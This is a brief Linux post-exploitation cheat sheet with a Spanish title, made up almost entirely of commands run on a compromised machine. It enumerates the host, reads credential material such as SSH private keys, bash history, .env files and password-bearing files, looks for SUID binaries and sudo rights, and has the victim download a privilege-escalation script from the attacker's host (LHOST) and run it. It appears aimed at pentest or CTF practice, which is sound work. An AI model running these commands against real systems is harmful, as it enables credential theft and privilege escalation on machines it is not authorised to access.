Post-Explotación en Linux: Qué Hacer Tras Entrar

uname -a
cat /etc/os-release
hostname
id && whoami
ip a

cat /etc/passwd
cat /etc/group
ls /home/
last
who

find / -name "*.txt" 2>/dev/null | grep -i "flag\|pass\|cred\|secret"
find / -perm -4000 2>/dev/null   # SUID
sudo -l
crontab -l && cat /etc/crontab

cat ~/.bash_history
cat ~/.ssh/id_rsa
find / -name "config" -o -name ".env" 2>/dev/null

# Desde Kali
python3 -m http.server 8080

# En víctima
wget http://LHOST:8080/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh